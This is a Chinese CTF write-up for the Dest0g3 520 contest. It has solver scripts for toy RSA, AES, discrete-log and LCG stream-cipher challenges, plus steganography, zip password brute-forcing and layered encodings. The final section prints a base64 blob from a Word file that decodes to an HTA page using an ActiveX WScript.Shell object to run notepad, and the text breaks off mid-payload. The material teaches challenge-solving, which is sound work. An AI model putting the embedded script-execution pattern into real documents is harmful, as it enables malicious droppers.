BUU的Dest0g3 520迎新赛。babyRSA、babyAES、ezDLP、ezStream、Mr.Doctor、Pngenius、EasyEncode、你知道js吗、EasyWord、Python_jail、 4096、simpleXOR、hi 、 ez_arrch的题解。
保住了前100,累死了都。
最后主办方清了一波作弊的,完赛后来看我直接70以内了。属实乐。
Crypto
babyRSA
from Crypto.Util.number import bytes_to_long, getPrimefrom gmpy2 import next_prime p = getPrime(1024 ) q = next_prime(p) n = p*q flag = open ('flag.txt' , 'rb' ).read() m = bytes_to_long(flag) e = 65537 c = pow (m, e, n)print (n)print (c)''' 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854 '''
p,q使用的是相邻的两个素数。所以可以进行开方求解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import gmpy2import sympyimport libnum n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854 p = sympy.prevprime(gmpy2.iroot(n,2 )[0 ]) q = sympy.nextprime(p) d = gmpy2.invert(65537 , (p-1 )*(q-1 )) m = gmpy2.powmod(c, d, n)print (libnum.n2s(int (m)))
babyAES
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Cipher import AESimport os iv = os.urandom(16 ) key = os.urandom(16 ) my_aes = AES.new(key, AES.MODE_CBC, iv) flag = open ('flag.txt' , 'rb' ).read() flag += (16 - len (flag) % 16 ) * b'\x00' c = my_aes.encrypt(flag)print (c)print (iv)print (key)''' b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07' b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80' b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F' '''
可以看到初始向量和加密密钥都给出来了,直接进行解密就可以了。
1 2 3 4 5 6 7 8 9 from Crypto.Cipher import AESimport os aes = AES.new(b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F' , AES.MODE_CBC, b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80' )print (aes.decrypt(b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07' ))
ezDLP
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import * flag = open ('flag.txt' , 'rb' ).read() x = bytes_to_long(flag) g = 19 p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353 h = pow (g, x, p)print (h)''' 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162 '''
用SageMath求解即可。这个只能这么做了,用到应该是BSGS算法,我自己写的跑半天跑不出来,还是用SageMath好了。
https://sagecell.sagemath.org/
1 2 3 4 5 6 7 8 9 # sagemath h = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162 p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353 g = 19 x = discrete_log(mod(h, p), mod(g, p)) print(hex(x)) # 0x446573743067337b30376564326136662d313832662d613035642d633831652d3133313861663832306137387d # Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}
ezStream
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from Crypto.Util.number import * f = open ('flag.txt' , 'r' ) flag = f.read() f.close()assert flag[:8 ] == "Dest0g3{" class LCG : def __init__ (self ): self.a = getRandomNBitInteger(32 ) self.b = getRandomNBitInteger(32 ) self.m = getPrime(32 ) self.seed = getRandomNBitInteger(32 ) def next (self ): self.seed = (self.a * self.seed + self.b) % self.m return self.seed >> 16 def output (self ): print ("a = {}\nb = {}\nm = {}" .format (self.a, self.b, self.m)) print ("state1 = {}" .format (self.next ())) print ("state2 = {}" .format (self.next ())) lcg = LCG() lcg.output() c = b'' .join([long_to_bytes(ord (flag[i]) ^ (lcg.next () % 10 )) for i in range (len (flag))])print (bytes_to_long(c))''' a = 3939333498 b = 3662432446 m = 2271373817 state1 = 17362 state2 = 20624 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 '''
流加密,看样子要找seed的初值。而且给了一部分的明文,可以求密钥流。
随机数是用getRandomNBitInteger(32)生成的。那么seed的范围就是 2 32 − 1 2^{32-1} 2 3 2 − 1 ~2 32 − 1 2^{32}-1 2 3 2 − 1 。选择爆破来求解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import libnumfrom Crypto.Util.number import *class LCG : def __init__ (self ): self.a = 3939333498 self.b = 3662432446 self.m = 2271373817 self.seed = getRandomNBitInteger(32 ) def next (self ): self.seed = (self.a * self.seed + self.b) % self.m return self.seed >> 16 def output (self ): print ("a = {}\nb = {}\nm = {}" .format (self.a, self.b, self.m)) print ("state1 = {}" .format (self.next ())) print ("state2 = {}" .format (self.next ())) flag = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 flag = libnum.n2s(flag) lcg = LCG()for seed in range (2 **(32 -1 ), 2 **32 -1 ): lcg.seed = seed if lcg.next () == 17362 : if lcg.next () == 20624 : lcg.seed = seed print ("seed = " , seed) break lcg.next () lcg.next ()print ('' .join([chr (flag[i]^(lcg.next ()%10 )) for i in range (len (flag))]))
这里我选择的是第一个成功的来作为seed。跑的话大概三分钟跑到这。还好这题第一个就是正确的解。如果解在后面的话,又得重新跑了。不过想要遍历整个 2 32 − 1 2^{32-1} 2 3 2 − 1 ~2 32 − 1 2^{32}-1 2 3 2 − 1 空间还是挺困难的。
在做Mr.Doctor的时候发现有更简单的解法。
我们去遍历损失的那16位数据即可。这个搜索空间可比之前的小的多。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 flag = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878 flag = libnum.n2s(flag) lcg = LCG() likeSeed = []for seed in range (2 **16 ): lcg.seed = (17362 << 16 ) + seed if lcg.next () == 20624 : likeSeed.append((17362 << 16 ) + seed) print (likeSeed[-1 ])for i in likeSeed: lcg.seed = i lcg.next () print ('' .join([chr (flag[i]^(lcg.next ()%10 )) for i in range (len (flag))])) """ 1137839988 1137855425 1137870862 Bcpp7`;{e84m559>$l52o(e89: g5bl-kfg376077b26| Iosr2f;b02g6883(c59a%`5=6"`4oi-ga`645;3<d26} Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25} """
由于跑出来的结果并不止一个所以都进行运算即可。
Mr.Doctor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from Crypto.Util.number import *from hashlib import sha256import string table = string.ascii_letters + string.digits flag = open ('flag.txt' , 'rb' ).read()[8 :-1 ] seed = getRandomNBitInteger(40 )class SHA256 : def __init__ (self ): self.proof = [] self.sha = 0 self.sha_flag = [] def encryption (self ): for i in range (len (flag) // 4 ): self.proof.append(flag[4 * i:4 + 4 * i]) self.sha = sha256(self.proof[i]).hexdigest().encode() self.sha_flag.append(bytes_to_long(self.sha)) return self.sha_flagclass RHODES_ELITE : def __init__ (self ): self.Doctor = getPrime(64 ) self.Amiya = getRandomNBitInteger(40 ) self.Rosmontis = getRandomNBitInteger(40 ) self.Blaze = getRandomNBitInteger(40 ) self.seed = seed def next (self ): self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor return self.seed >> 12 def output (self ): print ("Amiya = " , self.Amiya) print ("Rosmontis = " , self.Rosmontis) print ("Blaze = " , self.Blaze) print ("Doctor = " , self.Doctor) sha = SHA256() sha_flag = sha.encryption() elite = RHODES_ELITE() elite.output()print ("Ash = " , elite.next ())print ("SliverAsh = " , elite.next ()) W = b'' .join([long_to_bytes(sha_flag[i] % (seed ** 3 ) ^ (elite.next () % 100 )) for i in range (len (sha_flag))])print (bytes_to_long(W))''' Amiya = 956366446278 Rosmontis = 1061992537343 Blaze = 636205571590 Doctor = 18068433704538283397 Ash = 1097363493609113 SliverAsh = 2051431344160327 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084 '''
这题代码和ezStream挺像的。主体都是一个流加密。
我们可以得到第二轮加密时的seed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from Crypto.Util.number import *from hashlib import sha256import libnumclass RHODES_ELITE : def __init__ (self ): self.Doctor = 18068433704538283397 self.Amiya = 956366446278 self.Rosmontis = 1061992537343 self.Blaze = 636205571590 self.seed = 1 def next (self ): self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor return self.seed >> 12 def output (self ): print ("Amiya = " , self.Amiya) print ("Rosmontis = " , self.Rosmontis) print ("Blaze = " , self.Blaze) print ("Doctor = " , self.Doctor) r = RHODES_ELITE() likeSeed = []for seed in range (2 **13 ): r.seed = (1097363493609113 << 12 ) + seed if r.next () == 2051431344160327 : likeSeed.append((1097363493609113 << 12 ) + seed) break print (likeSeed)
可以看到只有一个解。接下来我们还要求解初始的seed才能进行解密。
1 2 3 def next (self ): self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor return self.seed >> 12
这个实际上是一个整环上的运算。是在Zmod(18068433704538283397)上的一个多项式。
956366446278 x 2 + 1061992537343 x + 636205571590 = 4494800869822930172 m o d 18068433704538283397 956366446278x^2 + 1061992537343x + 636205571590 = 4494800869822930172 \, mod \, 18068433704538283397
9 5 6 3 6 6 4 4 6 2 7 8 x 2 + 1 0 6 1 9 9 2 5 3 7 3 4 3 x + 6 3 6 2 0 5 5 7 1 5 9 0 = 4 4 9 4 8 0 0 8 6 9 8 2 2 9 3 0 1 7 2 m o d 1 8 0 6 8 4 3 3 7 0 4 5 3 8 2 8 3 3 9 7
f ( x ) = 956366446278 x 2 + 1061992537343 x + 636205571590 − 4494800869822930172 m o d 18068433704538283397 f(x)=956366446278x^2 + 1061992537343x + 636205571590 - 4494800869822930172 \, mod \, 18068433704538283397
f ( x ) = 9 5 6 3 6 6 4 4 6 2 7 8 x 2 + 1 0 6 1 9 9 2 5 3 7 3 4 3 x + 6 3 6 2 0 5 5 7 1 5 9 0 − 4 4 9 4 8 0 0 8 6 9 8 2 2 9 3 0 1 7 2 m o d 1 8 0 6 8 4 3 3 7 0 4 5 3 8 2 8 3 3 9 7
我们求解这个多项式即可得到对应的seed值。这里使用的SageMath来计算。
1 2 3 4 R.<x> = Zmod(18068433704538283397 )[] f = 956366446278 *x^2 + 1061992537343 *x + 636205571590 - 4494800869822930172 f.roots()
可以看到这里有两个值,12358488364449364025和626844643882。
这里seed要是40位的数才行。12358488364449364025是64位的,而626844643882是40位的。所以我们的seed是626844643882。
前面这部分只是这题的一部分难点。得到了seed后面怎么进行处理考虑了半天。这又是sha的又是m o d ( s e e d 3 ) mod (seed^3) m o d ( s e e d 3 ) 没有办法逆过程。
1 2 3 table = string.ascii_letters + string.digits flag = open ('flag.txt' , 'rb' ).read()[8 :-1 ] seed = getRandomNBitInteger(40 )
当时看到有个table在这但是没有用到我还感到奇怪。现在看来,是叫我们暴力破解了。
字符集应该就是这个。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import itertoolsimport stringfrom Crypto.Util.number import *from hashlib import sha256import libnumclass RHODES_ELITE : def __init__ (self ): self.Doctor = 18068433704538283397 self.Amiya = 956366446278 self.Rosmontis = 1061992537343 self.Blaze = 636205571590 self.seed = 626844643882 def next (self ): self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor return self.seed >> 12 def output (self ): print ("Amiya = " , self.Amiya) print ("Rosmontis = " , self.Rosmontis) print ("Blaze = " , self.Blaze) print ("Doctor = " , self.Doctor) seed = 626844643882 r = RHODES_ELITE() r.next () r.next () flag = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084 flag = long_to_bytes(flag) table = string.ascii_lowercase + string.digitsfor i in range (len (flag)//15 ): data = flag[i*15 : i*15 + 15 ] rnext = r.next () for x in itertools.permutations(table,4 ): mysha = bytes_to_long(sha256('' .join(x).encode("utf8" )).hexdigest().encode()) mybyte = long_to_bytes(mysha % (seed ** 3 ) ^ (rnext % 100 )) if mybyte == data: print ('' .join(x), end='' ) break
奇怪的是,我好多都跑不出来?9组数据我就跑出来三组。一开始以为是用的枚举导致的。后面换成笛卡尔集也没跑出来。后面怀疑是不是字符集少了东西。因为看其他的flag中间一般都会有几个’-‘或者’_’,所以我把’-_'都添加到了字符集,然后再跑。发现能够跑出来了。
1 2 3 4 5 6 7 8 9 10 11 12 table = string.ascii_lowercase + string.digits + '-_' for i in range (len (flag)//15 ): data = flag[i*15 : i*15 + 15 ] rnext = r.next () for x in itertools.product(table,table,table,table): mysha = bytes_to_long(sha256('' .join(x).encode("utf8" )).hexdigest().encode()) mybyte = long_to_bytes(mysha % (seed ** 3 ) ^ (rnext % 100 )) if mybyte == data: print ('' .join(x), end='' ) break
花的时间也不算太长,大概5分钟。
MISC
Pngenius
StegoSolve看一遍,图像上没有什么值得注意的地方。LSB可以看到一个密码。
1 2 0617373776f7264 20666 f72207a6970 Password for zip3a5765616b5f5061 733577307264 ffff :Weak_Pa s5w0rd..
foremost分离出一个压缩包,用上述密码进行解压得到flag。
1 # Dest0g3{2908 C1AA-B2C1-B8E6-89D1 -21 B97D778603 }
EasyEncode
下载得到一个压缩包,没有其他信息了。密码找了一圈没有找到。采取爆破尝试。ziperello爆破6位数字密码得到密码为:
打开文本文件得到摩斯电码:
1 ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ---- . ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --- .. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- --... -.... .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- --- .. ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ..--- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ----- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... -.... ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- -.... ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ---- . ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- -.... ...-- -.... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..... ...-- .---- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ..--- ...-- ..... ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ...-- ...-- ...-- ..... -.-. --... ..... ...-- ----- ...-- ----- ...-- ....- ...-- ....-
解码得到:
1 5 c 75303035325 c 75303034375 c 75303035365 c 75303037615 c 75303036345 c 75303034345 c 75303034325 c 75303036655 c 75303034645 c 75303033335 c 75303037345 c 75303034355 c 75303035615 c 75303035375 c 75303033395 c 75303036625 c 75303036315 c 75303035375 c 75303033355 c 75303036655 c 75303035385 c 75303037615 c 75303034365 c 75303037615 c 75303035385 c 75303033325 c 75303035355 c 75303033305 c 75303036335 c 75303033335 c 75303036635 c 75303036365 c 75303034655 c 75303034365 c 75303033395 c 75303035365 c 75303036365 c 75303035315 c 75303032355 c 75303033335 c 75303034345 c 75303032355 c 75303033335 c 7530303434
十六进制转换为字符串得到:
1 b'\\ u0052\\ u0047\\ u0056\\ u007a\\ u0064\\ u0044\\ u0042\\ u006e\\ u004d\\ u0033\\ u0074\\ u0045\\ u005a\\ u0057\\ u0039\\ u006b\\ u0061\\ u0057\\ u0035\\ u006e\\ u0058\\ u007a\\ u0046\\ u007a\\ u0058\\ u0032\\ u0055\\ u0030\\ u0063\\ u0033\\ u006c\\ u0066\\ u004e\\ u0046\\ u0039\\ u0056\\ u0066\\ u0051\\ u0025\\ u0033\\ u0044\\ u0025\\ u0033\\ u0044'
unicode编码转换:
1 RGVzdDBnM3 tEZW9 kaW5 nXzFzX2 U0 c3 lfNF9 VfQ% 3 D% 3 D
得到以上结果,一开始以为这个是凯撒密码,但是转了一轮没有正确的。后面尝试用base64去解,发现成功了。主要是后面的%误导了。但现在想一下%3D不就是URL编码的=吗。
1 Dest0 g3 {Deoding_1 s_e4 sy_4 _U}
你知道js吗
文件下载下来没有后缀名,二进制打开看到有个pk,就当压缩包解了。但是打开之后这些文件像是docx。所以后缀名变为docx打开。里面都是写图形字符。不知道是什么。
在解压的文件中找到./word/document.xml里面有一大段base64编码的内容,这个应该是我们之前看到的文档内容。提出来一段看看。
1 2 3 4 5 6 7 8 9 10 PD94 bWwgdmVyc2 lvbj0 iMS4 wIiBlbmNvZGluZz0 iVVRGLTgiIHN0 YW5 kYWxvbmU9 InllcyI/Pgo8 YXNzZW1 ibHkgeG1 sbnM9 InVybjpzY2 hlbWFzLW1 pY3 Jvc29 mdC1 jb206 YXNtLnYxIiBtYW5 pZmVzdFZlcnNpb249 IjEuMCI+Cjx0 cnVzdEluZm8 geG1 sbnM9 InVybjpzY2 hlbWFzLW1 pY3 Jvc29 mdC1 jb206 YXNtLnYzIj4 KICAgICAgICAgICAgPHJlcXVlc3 RlZEV4 ZWN1 dGlvbkxldmVsIGxldmVsPSJhc0 ludm9 rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPgo8 YXBwbGljYXRpb24 geG1 sbnM9 InVybjpzY2 hlbWFzLW1 pY3 Jvc29 mdC1 jb206 YXNtLnYzIj4 KICAgICAgICA8 ZHBpQXdhcmVuZXNzIHhtbG5 zPSJodHRwOi8 vc2 NoZW1 hcy5 taWNyb3 NvZnQuY29 tL1 NNSS8 yMDE2 L1 dpbmRvd3 NTZXR0 aW5 ncyI+RG8 geW91 IGtub3 cganM8 L2 RwaUF3 YXJlbmVzcz4 KPHNjcmlwdCBsYW5 ndWFnZT0 iamF2 YXNjcmlwdCI+ZG9 jdW1 lbnQud3 JpdGUodW5 lc2 NhcGUoJyUzQ2 h0 bWwlM0 UlMEElM0 Nib2 R5 JTNFJTBBJTBBJTNDJTIxRE9 DVFlQRSUyMGh0 bWwlM0 UlMEElM0 NodG1 sJTNFJTBBJTNDaGVhZCUzRSUwQSUyMCUyMCUyMCUyMCUzQ3 RpdGxlJTNFRG8 lMjBZb3 UlMjBLbm93 JTIwanMlM0 MlMkZ0 aXRsZSUzRSUwQSUzQ0 hUQSUzQUFQUExJQ0 FUSU9 OJTBBJTIwJTIwQVBQTElDQVRJT05 OQU1 FJTNEJTIyRG8 lMjBZb3 UlMjBLbm93 JTIwanMlMjIlMEElMjAlMjBJRCUzRCUyMkluY2 VwdGlvbiUyMiUwQSUyMCUyMFZFUlNJT04 lM0 QlMjIxLjAlMjIlMEElMjAlMjBTQ1 JPTEwlM0 QlMjJubyUyMiUyRiUzRSUwQSUyMCUwQSUzQ3 N0 eWxlJTIwdHlwZSUzRCUyMnRleHQlMkZjc3 MlMjIlM0 UlMEElM0 MlMkZoZWFkJTNFJTBBJTIwJTIwJTIwJTIwJTNDZGl2 JTIwaWQlM0 QlMjJmZWF0 dXJlJTIyJTNFJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTNDZGl2 JTIwaWQlM0 QlMjJjb250 ZW50 JTBBJTA5 JTA5 JTA5 JTA5 JTNDJTJGc3 R5 bGUlM0 UlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlM0 NoMSUyMGlkJTNEJTIydW5 hdmFpbGFibGUlMjIlMjBjbGFzcyUzRCUyMmxvYWRpbmclMjIlM0 VCdWlsZGluZyUyMGpzLi4 uLi4 lM0 MlMkZoMSUzRSUwQSUwOSUwOSUwOSUwOSUzQ3 NjcmlwdCUyMHR5 cGUlM0 QlMjJ0 ZXh0 JTJGamF2 YXNjcmlwdCUyMiUyMGxhbmd1 YWdlJTNEJTIyamF2 YXNjcmlwdCUyMiUzRSUwQSUwOSUwOSUwOSUwOSUwOWZ1 bmN0 aW9 uJTIwUnVuRmlsZSUyOCUyOSUyMCU3 QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHZhciUyMFdzaFNoZWxsJTIwJTNEJTIwbmV3 JTIwQWN0 aXZlWE9 iamVjdCUyOCUyMldTY3 JpcHQuU2 hlbGwlMjIlMjklM0 IlMEElMDklMDklMDklMDklMDlXc2 hTaGVsbC5 SdW4 lMjglMjJub3 RlcGFkJTIwJTI1 d2 luZGlyJTI1 JTJGRGVza3 RvcCUyRmpzLnR4 dCUyMiUyQyUyMDElMkMlMjBmYWxzZSUyOSUzQiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyRiolMjB2 YXIlMjBvRXhlYyUyMCUzRCUyMFdzaFNoZWxsLkV4 ZWMlMjglMjJub3 RlcGFkJTIyJTI5 JTNCJTIwKiUy base64 decode: <?xml version= "1.0" encoding= "UTF-8" standalone= "yes" ?> <assembly xmlns= "urn:schemas-microsoft-com:asm.v1" manifestVersion= "1.0" > <trustInfo xmlns= "urn:schemas-microsoft-com:asm.v3" > <requestedExecutionLevel level= "asInvoker" uiAccess= "false" /> <application xmlns= "urn:schemas-microsoft-com:asm.v3" > <dpiAwareness xmlns= "http://schemas.microsoft.com/SMI/2016/WindowsSettings" >Do you know js</dpiAwareness> <script language= "javascript" >document.write(unescape('%3 Chtml%3 E%0 A%3 Cbody%3 E%0 A%0 A%3 C%21 DOCTYPE%20 html%3 E%0 A%3 Chtml%3 E%0 A%3 Chead%3 E%0 A%20 %20 %20 %20 %3 Ctitle%3 EDo%20 You%20 Know%20 js%3 C%2 Ftitle%3 E%0 A%3 CHTA%3 AAPPLICATION%0 A%20 %20 APPLICATIONNAME%3 D%22 Do%20 You%20 Know%20 js%22 %0 A%20 %20 ID%3 D%22 Inception%22 %0 A%20 %20 VERSION%3 D%221 .0 %22 %0 A%20 %20 SCROLL%3 D%22 no%22 %2 F%3 E%0 A%20 %0 A%3 Cstyle%20 type %3 D%22 text%2 Fcss%22 %3 E%0 A%3 C%2 Fhead%3 E%0 A%20 %20 %20 %20 %3 Cdiv%20 id%3 D%22 feature%22 %3 E%0 A%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %3 Cdiv%20 id%3 D%22 content%0 A%09 %09 %09 %09 %3 C%2 Fstyle%3 E%0 A%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %3 Ch1 %20 id%3 D%22 unavailable%22 %20 class%3 D%22 loading%22 %3 EBuilding%20 js.....%3 C%2 Fh1 %3 E%0 A%09 %09 %09 %09 %3 Cscript%20 type %3 D%22 text%2 Fjavascript%22 %20 language%3 D%22 